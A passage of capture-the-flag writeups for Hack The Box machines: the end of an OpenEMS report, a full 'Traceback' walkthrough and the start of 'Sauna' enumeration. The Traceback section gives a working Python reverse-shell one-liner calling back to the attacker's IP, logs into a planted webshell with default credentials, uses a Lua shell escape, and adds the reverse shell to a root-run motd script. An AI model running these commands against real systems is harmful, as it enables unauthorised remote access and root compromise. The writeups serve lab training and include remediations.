Note that the above method generally only works if the container is started in privileged mode and the container user has a UID of 0. As noted above, this method wasn’t necessary for this particular box as we already had local host access, but it would be useful if one started out in a container and needed to break out to the underlying host. Again however, the method is likely null and void if the container is not running in the privileged context, meaning we got ‘lucky’ here with the ability to start the image in that mode. However, as shown in the link above, there’s queries you can run from the container image to see if it’s privileged mode or not, and if it was, you might be in luck for a container escape.

Conclusion

Recommended Remediations

The OpenEMS install should be patched to address the SQLi injection and authentication bypass vulnerabilities exploited during this test, as well as a number of other vulnerabilities in the currently installed version of the program. User input should always be sanitized, with the SQL database utilizing paramterized queries to help stave off SQL injection.
Avoiding placing/having credentials in plaintext, either in assets/files on the webserver (even if they’re not directly visible) such as in the case of the functionality.js script found during the assessment, or stored in other means in cleartext which can be queried, as in the case of the credentials in the memcache store also found during the assessment.
A web application firewall (WAF) should be considered being implemented, or an IDS/IPS, in order to detect, alert, and/or potentially stop malicious activity by detecting unusual traffic and/or behavours that deviate from the normal baseline for the server.
The docker group should not be granted to users unless they are trusted with privileged level access, as having this group roughly equates to sudo access on the host.

All for now; until next time.

~@initinfosec

HacktheBox 'Traceback' writeup

Tue, 07 Jul 2020 11:00:00 -0500

‘Traceback’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Traceback	10.10.10.181	Linux	Easy

view all writeups here

Writeup Contents

‘Traceback’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the following command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/traceback/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/traceback/scans/xml/_full_tcp_nmap.xml" 10.10.10.181

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.181

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29

# Nmap 7.80 scan initiated Mon Jul  6 11:01:08 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/traceback/scans/_full_tcp_nmap.txt -oX /0ps/HTB/traceback/scans/xml/_full_tcp_nmap.xml 10.10.10.181

Nmap scan report for 10.10.10.181
Host is up, received user-set (0.035s latency).
Scanned at 2020-07-06 11:01:08 CDT for 71s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMNfxYPZGAdOf2OAbwXhXDi43/QOeh5OwK7Me/l15Bej9yfkZwuLhyslDCYIvi4fh/2ZxB0MecNYHM+Sf4xR/CqPgIjQ+NuyAPI/c9iXDDhzJ+HShRR5WIqsqBHwtsQFrcQXcfQFYlC+NFj5ro9wfl2+UvDO6srTUxl+GaaabePYm2u0mlmfwHqlaQaB8HOUb436IdavyTdvpW7LTz4qKASrCTPaawigDymMEQTRYXY4vSemIGMD1JbfpErh0mrFt0Hu12dmL6LrqNmUcbakxOXvZATisHU5TloxqH/p2iWJSwFi/g0YyR2JZnIB65fGTLjIhZsOohtSG7vrPk+cZ
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2jCEklOC94CKIBj9Lguh3lmTWDFYq41QkI5AtFSx7x+8uOCGaFTqTwphwmfkwZTHL1pzOMoJTrGAN8T7LA2j0=
|   256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL4LOW9SgPQeTZubVmd+RsoO3fhSjRSWjps7UtHOc10p
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.2 (92%), Android 4.2.2 (Linux 3.4) (92%), Linux 2.6.32 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/6%OT=22%CT=1%CU=31167%PV=Y%DS=2%DC=T%G=Y%TM=5F034B0B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10F%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O
OS:6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%D
OS:F=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 7.505 days (since Sun Jun 28 22:55:18 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT      ADDRESS
1   34.55 ms 10.10.14.1
2   34.66 ms 10.10.10.181

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul  6 11:02:19 2020 -- 1 IP address (1 host up) scanned in 71.28 seconds

nmap scan observations

HTTP enumeration

SSH is unlikely to provide an initial foothold without other information, so let’s start with eumerating HTTP. The robots.txt resource does not seem to exist, and nothing of interest seems to show on a nikto scan. Running a quick gobuster scan only seems to show an index page from the site that does not result in 403. We see the following when visiting the site’s main/index page:

Fuzzing using a large list, and trying commmon webshell extensions, as well as words from the page itself does not seem to yield anything. However, searching the signature at the bottom of the index page yields a Github page when searching. Some looking shows a repository called web-shells: https://github.com/Xh4H/Web-Shells

We can git clone the repository and then use the list of repos to try to fuzz for a match, creating a list of potential filenames. Note in the below code, the argument to ls is a 1, not an “L”, to print the list of filenames without details:

initinfosec@kali:/0ps/HTB/traceback/scans$ ls -1 Web-Shells/ > shells.list
initinfosec@kali:/0ps/HTB/traceback/scans$ cat shells.list 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punkholic.php
punk-nopass.php
r57.php
README.md
smevk.php
wso2.8.5.php

Using this list to fuzz (i’ll personally be using ‘ffuf’) we find a single hit:

initinfosec@kali:/0ps/HTB/traceback/scans$ ffuf -c -w shells.list -u http://10.10.10.181/FUZZ  -recursion

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.181/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

smevk.php               [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [17/17] :: Job [1/1] :: 5 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Going to this page at http://10.10.10.181/smevk.php does indeed show a webshell:

Looking at the code on the github repository, it appears the default creds are admin/admin, as shown on https://github.com/Xh4H/Web-Shells/blob/master/smevk.php

*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.
#-------------------------------------------------------------------------------

Trying this shows the login was successful - we see a sort of dashboard to the webshell upon logging in, as shown below:

gaining an initial foothold

Using the ‘Execute’ textbox in the bottom left, and running a ‘which python’ and ‘which python3’ shows that python3 is installed.

We can attempt to use python3 to spawn a reverse shell. First we’ll start a netcat listener with sudo nc -lvnp 443. Once listening, we’ll use the following python command to try to call a reverse shell back to us. Keep in mind your IP and port may need to change based on need:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);&'

Almost immediately, we receive a reverse shell as the ‘webadmin’ user, as shown below:

Lateral Movement

It looks like our iniital search for the user.txt file was not successful, indicating we need to laterally move to a more standard user.

Running sudo -l, we see that our user apparently does not require a password to run sudo as the user sysadmin for the /home/sysadmin/luvit file, as shown below:

webadmin@traceback:/var$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Unfortunately we are somewhat blind here, and cannot view what the ‘luvit’ file is, or anything within the directory. While not advisiable in real-world engagements, we’ll go ahead and run the file as this is a sandboxed training ground. We see that running as sudo seems to show “welcome to the luvit repl”, dropping us into a shell-like prompt. Running a test command results in a syntax error, showing the language as lua.

webadmin@traceback:/var$ file /home/sysadmin/luvit
/home/sysadmin/luvit: cannot open `/home/sysadmin/luvit' (Permission denied)
webadmin@traceback:/var$ ls -ltra /home/sysadmin/luvit
ls: cannot access '/home/sysadmin/luvit': Permission denied
webadmin@traceback:/var$ ls -ltra /home/sysadmin
ls: cannot open directory '/home/sysadmin': Permission denied
webadmin@traceback:/var$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
> echo "test"
[string "REPL"]:1: attempt to call global 'echo' (a nil value)
stack traceback:
        [string "REPL"]:1: in main chunk
        [C]: in function 'xpcall'
        [string "bundle:deps/repl.lua"]:97: in function 'evaluateLine'
        [string "bundle:deps/repl.lua"]:189: in function <[string "bundle:deps/repl.lua"]:187>
> 

Searching for lua on GTFObins shows a pretty trivial OS system command execution lua line which we can run to give ourselves a more standard shell. Running > os.execute("/bin/bash") does indeed spawn us into a more normal bash shell, as shown in the below screenshot:

In hindisght, we also see the following which would have pointed us to the lua script:

sysadmin@traceback:~$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Privilege Escalation

PrivEsc enumeration

Now we need to escalate privileges. We do not know sysadmins password, and running ‘sudo -l’ prompts for it. Additionally, no cron jobs are listed for the user.

However, running ps -ef | grep root to look at processes running as root shows one that almost immediately sticks out:

root       3287   3283  0 19:31 ?        00:00:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

So it looks like something is overwriting /etc/update-motd.d with a backup in /var/backups. If we could write to the source (the backups directory), we could potentially get execution, as the motd file(s) can be shell scripts. However, we quickly find that this directory is not writeable. We do notice though, that the destination directory, /etc/update-motd.d is in fact, writeable by our sysadmin user, as evidenced bu the below command:

sysadmin@traceback:~$ ls -ltra /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  299 Jul  7 13:27 91-release-upgrade
-rwxrwxr-x  1 root sysadmin  604 Jul  7 13:27 80-esm
-rwxrwxr-x  1 root sysadmin 4264 Jul  7 13:27 50-motd-news
-rwxrwxr-x  1 root sysadmin  982 Jul  7 13:27 10-help-text
-rwxrwxr-x  1 root sysadmin  981 Jul  7 13:27 00-header

OK, so we know that we can write to the files, and if that is the route to privesc, that we’d have about a half-minute window to get the file to trigger before being overwritten. However, the question still remains, how would we get it to trigger as root, and not just a user on ssh login? Using a great tool to reveal automated processes called pspy, we can watch for processes that are automated by services, daemons, scripts, or cron jobs, which run as root, where we might not have direct visibility into the cron job or script itself running these proceesses while being a lower-level user. At first glance, nothing out of the oridinary not already seen seems to show up. We see the job to overwrite the original motd files with the backups occur every 30 seconds, but nothing that actually indicates triggering of the /etc/motd file as root on any kind of automated interval.

Further reading on update-motd.d resource here and motd itself resource here seem to imply that motd leverages the pam_otd module, implying that the motd display and execution is done by root, regardlesss of user.

Let’s test this, and find a way to log in as either webadmin or sysadmin successfully, while having pspy run, and seeing what shows up during/at login. Once pyspy is transferred to the host, set to executable, and started, let’s start another listener, and gain a new reverse shell by entering the same command as earlier into the webshell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);&'

Once spawned, we notice after a brief bit of digging around, that webadmin’s .ssh directory, and specifically, the authorized_keys file under it, is writeable. Using this, we can create a keypair locally on kali, transfer the contents of the public key to the authorized keyfile, tell ssh to use the private key locally on kali to login as the webadmin user, and try to login. If this is successful, we’ll then check pspy.

To create the keypair, we’ll use ssh-keygen, and follow the prompts, running from the kali box, as shown below.

Once created, we can copy the contents of the public key, and copy it to the authorized_keys file. Once done, we can test a login via SSH providing the identify file, as shown below:

initinfosec@kali:/0ps/HTB/traceback/exploit$ ssh webadmin@10.10.10.181 -i traceback
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$ exit
logout
Connection to 10.10.10.181 closed

Great, so we know it was successful. Let’s check pspy now.

We see here that a number of commands relating to motd were indeed executed as root, not the user logging in, /bin/sh /etc/update-motd.d/50-motd-news, for example.

gainining a root shell

Armed with this knowledge, we can confidentally setup privilege escalation now, keeping in mind our half-minute window for execution. Because of this tight timeline, let’s go ahead and start our nc listener now, with sudo nc -lvnp 443 (or whatever port you feel appropriate.)

Using vi, we can edit one of the files to added the same python reverse shell command we used earlier. In my case, I’ll use the 00-header file. Using vi, we can simply add the following to the bottom of the script file and save it.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Now, within 30 seconds, let’s login again with the key file as before, trying to trigger the modified script.

initinfosec@kali:/0ps/HTB/traceback/exploit$ ssh webadmin@10.10.10.181 -i traceback
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

We see the process hangs here, indicating our reverse shell likely spawned. Checking the new listener we started, it appears we indeed receive a root shell, as shown below.

Conclusion

Recommended Remediations

Regular web server security reviews/audits should take place to try and ensure lack of server compromise, or quick detection and response when a server is compromised.
Further to this end, a web application firewall (WAF) should be considered being implemented, or and IDS/IPS, in order to detect, alert, and/or potentially stop malicious activity by detecting unusual traffic and/or behavours that deviate from the normal baseline for the server.
Consideration and audit/review of sudo privileges should be undertaken. Perhaps consider allowing webadmin to run the lua script in the context of his own user, to prevent it being used for lateral movement across the server.
Permissions for the authorized keys file should be locked down/tightened if/as appropriate. Consider restricting this to root:root edit permissions only.
motd (and related update-motd.d files) should be audited as well, and the permissions tightened where possible, to prevent execution of commands as the root user by a lower-level user.

All for now; until next time.

~@initinfosec

Getting System on 'Sauna' - 'Sauna' HTB Writeup

Mon, 29 Jun 2020 17:30:00 -0500

Getting System on ‘Sauna’ - ‘Sauna’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Sauna	10.10.10.175	Windows	Easy

view all writeups here

Writeup Contents

Getting System on ‘Sauna’ - ‘Sauna’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the following command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/sauna/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/sauna/scans/xml/_full_tcp_nmap.xml" 10.10.10.175

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.175

Port	State	Service	Version
53/tcp	open	domain
80/tcp	open	http	Microsoft IIS httpd 10.0
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP
3269/tcp	open	tcpwrapped
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0
9389/tcp	open	mc-nmf	.NET Message Framing
49667/tcp	open	msrpc	Microsoft Windows RPC
49673/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
49674/tcp	open	msrpc	Microsoft Windows RPC
49675/tcp	open	msrpc	Microsoft Windows RPC
49686/tcp	open	msrpc	Microsoft Windows RPC
60076/tcp	open	msrpc	Microsoft Windows RPC

# Nmap 7.80 scan initiated Fri Jun 19 16:48:11 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/sauna/scans/_full_tcp_nmap.txt -oX /0ps/HTB/sauna/scans/xml/_full_tcp_nmap.xml 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.060s latency).
Scanned at 2020-06-19 16:48:11 CDT for 749s
Not shown: 65515 filtered ports
Reason: 65515 no-responses
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain?       syn-ack ttl 127
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-06-20 05:51:25Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
60076/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=6/19%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5EED3588%P=x86_64-pc-linux-gnu)
SEQ(SP=100%GCD=1%ISR=10B%TI=I%TS=U)
SEQ(SP=100%GCD=2%ISR=10B%TI=RD%II=I%TS=U)
OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M54DNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h01m20s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35558/tcp): CLEAN (Timeout)
|   Check 2 (port 18110/tcp): CLEAN (Timeout)
|   Check 3 (port 59226/udp): CLEAN (Timeout)
|   Check 4 (port 57297/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-20T05:59:23
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT      ADDRESS
1   35.04 ms 10.10.14.1
2   65.40 ms 10.10.10.175

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 19 17:00:40 2020 -- 1 IP address (1 host up) scanned in 749.40 seconds

nmap scan observations

We see that the target is Windows, with an HTTP service open on port 80, DNS served on both TCP and UDP (TCP being a bit nonstandard, indicating zone transfers may be possible), SMB on ports 139 and 445, kerberos on port 464, LDAP on standard port 389, as well as a host of MS RPC services, and an RPC of HTTP protocol/service on port 49673.

Let’s first examine SMB, DNS, and LDAP, before moving onto HTTP and the other services.

DNS enumeration

It looks like an initial DNS zone transfer fails (after adding 10.10.10.175 to the /etc/hosts file), even when specifying to use the server itself as the authoritative name source (vs reachine out to an external/standard nameserver)

initinfosec@kali:/0ps/HTB/sauna/scans$ dig axfr sauna.htb @10.10.10.175

; <<>> DiG 9.16.4-Debian <<>> axfr sauna.htb @10.10.10.175
;; global options: +cmd
; Transfer failed.

Similarly, nmap NSE and dns recon scripts also fail at zone transfers. Additionally, both the TCP and UDP nmap scans shed little further light on the service:

TCP scan:

# Nmap 7.80 scan initiated Fri Jun 19 16:58:53 2020 as: nmap -vv --reason -Pn -sV -p 53 "--script=banner,(dns* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN /0ps/HTB/sauna/scans/tcp_53_dns_nmap.txt -oX /0ps/HTB/sauna/scans/xml/tcp_53_dns_nmap.xml 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.089s latency).
Scanned at 2020-06-19 16:58:54 CDT for 159s

PORT   STATE SERVICE REASON          VERSION
53/tcp open  domain? syn-ack ttl 127
|_dns-nsec-enum: Can't determine domain for host 10.10.10.175; use dns-nsec-enum.domains script arg.
|_dns-nsec3-enum: Can't determine domain for host 10.10.10.175; use dns-nsec3-enum.domains script arg.
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/19%Time=5EED3529%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");

Host script results:
|_dns-brute: Can't guess domain of "10.10.10.175"; use dns-brute.domain script argument.

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 19 17:01:33 2020 -- 1 IP address (1 host up) scanned in 160.20 seconds

UDP scan:

# Nmap 7.80 scan initiated Fri Jun 19 16:56:42 2020 as: nmap -vv --reason -Pn -sU -sV -p 53 "--script=banner,(dns* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN /0ps/HTB/sauna/scans/udp_53_dns_nmap.txt -oX /0ps/HTB/sauna/scans/xml/udp_53_dns_nmap.xml 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up, received user-set.
Scanned at 2020-06-19 16:56:42 CDT for 37s

PORT   STATE SERVICE REASON       VERSION
53/udp open  domain  udp-response (generic dns response: SERVFAIL)
|_dns-cache-snoop: 0 of 100 tested domains are cached.
|_dns-nsec-enum: Can't determine domain for host 10.10.10.175; use dns-nsec-enum.domains script arg.
|_dns-nsec3-enum: Can't determine domain for host 10.10.10.175; use dns-nsec3-enum.domains script arg.
| fingerprint-strings: 
|   NBTStat: 
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.80%I=7%D=6/19%Time=5EED34B0%P=x86_64-pc-linux-gnu%r(NBTS
SF:tat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAA
SF:AAAAAAA\0\0!\0\x01");

Host script results:
|_dns-brute: Can't guess domain of "10.10.10.175"; use dns-brute.domain script argument.

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 19 16:57:19 2020 -- 1 IP address (1 host up) scanned in 37.43 seconds

We may need to look at HTTP to find a proper hostname to peform a zone transfer on, but let’s briefly move on to SMB first.

SMB Enumeration

Briefly taking a look at SMB, we can try a variety of enumeration commands. However, we notice that nmap NSE enumeration scripts for SMB fail, as does enum4linux and smbmap and smbclient commands - stating eithe NT_ACCESS_DENIED or RPC Authentication error occured - both on ports 139 and 445.

A more intensive/loud nmap NSE scan targeted at trying to identify SMB vulnerabilites on these ports on the target, but it also yields nothing of obvious use, as shown by the output below:

initinfosec@kali:/0ps/HTB/servmon/scans$ sudo nmap -vv --reason -Pn -sV -p 139,445 --script=smb-vuln* --script-args="unsafe=1" 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-29 11:50 CDT
NSE: Loaded 56 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 0.00s elapsed
Initiating SYN Stealth Scan at 11:50
Scanning sauna.htb (10.10.10.175) [2 ports]
Discovered open port 445/tcp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Completed SYN Stealth Scan at 11:50, 0.10s elapsed (2 total ports)
Initiating Service scan at 11:50
Scanning 2 services on sauna.htb (10.10.10.175)
Completed Service scan at 11:50, 17.46s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.175.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 13.63s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 0.07s elapsed
Nmap scan report for sauna.htb (10.10.10.175)
Host is up, received user-set (0.034s latency).
Scanned at 2020-06-29 11:50:19 CDT for 32s

PORT    STATE SERVICE       REASON          VERSION
139/tcp open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds? syn-ack ttl 127
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:50
Completed NSE at 11:50, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.62 seconds
